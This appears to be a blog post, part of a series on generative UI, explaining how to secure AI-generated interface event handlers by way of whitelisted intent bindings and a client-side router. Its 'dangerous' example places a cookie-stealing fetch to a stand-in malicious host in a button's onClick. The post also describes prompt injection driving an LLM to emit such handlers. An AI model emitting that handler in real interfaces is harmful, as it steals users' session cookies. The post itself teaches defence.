In Parts 1 and 2 of the A2UI series, we discussed how flat semantic trees solve streaming issues and how optimistic state shadowing prevents focus loss. However, the final frontier of Generative UI is interaction and security.
When an agent generates a custom control dashboard containing buttons, inputs, and selectors, how do we bind click and change events? Allowing an AI to output raw JavaScript execution blocks (e.g. onClick={() => eval(...)}) is a massive security hazard, exposing the client to UI Injection Attacks.
The UI Injection Hazard
If an LLM hallucinates or is manipulated via a prompt injection, it could inject malicious code inside an event handler. If the client-side renderer executes this code, attackers can compromise user accounts, read session storage, or steal credentials.
// ❌ DANGEROUS: Streaming executable code strings
{
"id": "exploit_btn",
"type": "button",
"props": {
"label": "Confirm Purchase",
"onClick": "fetch('https://malicious-api.com/steal?cookie=' + document.cookie)"
}
}The Solution: Declarative Action Bindings
To secure generative interfaces, the agent is restricted to emitting Intent Bindings instead of execution blocks. An intent is a declarative JSON object specifying a predefined command name and typed parameters.
// ✅ SECURE: Declarative Intent Binding
{
"id": "checkout_btn",
"type": "button",
"props": {
"label": "Confirm Purchase",
"action": {
"intent": "INVENTORY_CHECKOUT",
"params": {
"cartId": "cart_9874",
"gateway": "stripe"
}
}
}
}Hydrating Events Safely
The client-side host app maintains an Intent Router that map semantic event names to local, hardcoded handler functions. The generated button does not execute the callback itself; it triggers the router:
// Inside A2UI Router Gateway
const INTENT_HANDLERS = {
INVENTORY_CHECKOUT: async (params: { cartId: string; gateway: string }) => {
// Hardcoded, audited implementation
await triggerStripeCheckout(params.cartId);
},
NAVIGATE_SECTION: (params: { target: string }) => {
router.push(params.target);
}
};
function handleActionDispatch(action: { intent: string; params: any }) {
const handler = INTENT_HANDLERS[action.intent];
if (!handler) {
console.error(`Blocked unauthorized intent: \${action.intent}`);
return;
}
handler(action.params);
}This architecture acts as a client-side firewall. Even if the LLM attempts to inject payload scripts into action.intent, the router rejects the command because it doesn't match the strict whitelist.
Telemetry Loops and Context Rehydration
When a secure action is executed, the state change must be communicated back to the AI agent to update its reasoning. We do this via Semantic Event Logs:
- User clicks the hydrated button.
- The Intent Router processes the transaction securely.
- The host logs the result:
{ event: "INVENTORY_CHECKOUT_SUCCESS", timestamp: 1779682569 }. - This log is appended to the agent's context block, prompting the LLM to stream the next UI block (e.g. a receipt layout).
Conclusion
Generative UI is a powerful paradigm, but it must be logic-agnostic. By converting dynamic event handlers into declarative, whitelisted intent schemas, you protect users from client-side execution attacks while maintaining full agentic control.
Related Research
A2UI: Designing the Semantic Frontdoor
A declarative protocol that uses flat adjacency lists for reliable, high-speed UI streaming, ensuring security and consistency.
A2UIA2UI Part 2: Taming State in Streamed Interfaces
When an agent continuously streams new UI JSON, how do you prevent the user's client-side state from wiping out? A deep dive into Semantic Diffing and DOM Reconciliation.
